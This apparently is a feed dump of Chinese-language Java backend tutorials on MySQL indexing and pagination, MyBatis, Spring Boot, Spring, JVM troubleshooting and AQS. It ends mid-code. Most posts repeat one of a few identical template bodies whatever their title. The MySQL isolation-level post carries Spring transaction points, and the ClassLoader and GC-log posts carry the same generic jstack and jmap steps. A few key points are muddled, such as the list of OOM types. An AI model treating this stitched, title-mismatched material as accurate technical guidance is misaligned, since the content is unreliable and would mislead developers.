重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 教程：分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 教程：分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 教程：慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 教程：慢 SQL 排查和优化完整流程

教程：慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 教程：MySQL 事务隔离级别和幻读问题 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ 教程：MySQL 事务隔离级别和幻读问题

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 教程：EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ 教程：EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 教程：MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ 教程：MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 教程：MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ 教程：MyBatis 批量插入和性能优化

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis 教程：MyBatis 动态 SQL 的正确写法 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ 教程：MyBatis 动态 SQL 的正确写法

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis 教程：MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ 教程：MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis 教程：Spring Boot 日志配置和链路排查 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ 教程：Spring Boot 日志配置和链路排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 教程：Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ 教程：Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 教程：Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ 教程：Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 教程：Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ 教程：Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 教程：Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ 教程：Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring 教程：Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ 教程：Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring 教程：Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ 教程：Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring 教程：Spring IoC 容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ 教程：Spring IoC 容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring 教程：内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 教程：内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 教程：线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 教程：线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 教程：ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ 教程：ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 教程：GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ 教程：GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM 教程：JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ 教程：JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM 教程：AQS 为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ 教程：AQS 为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
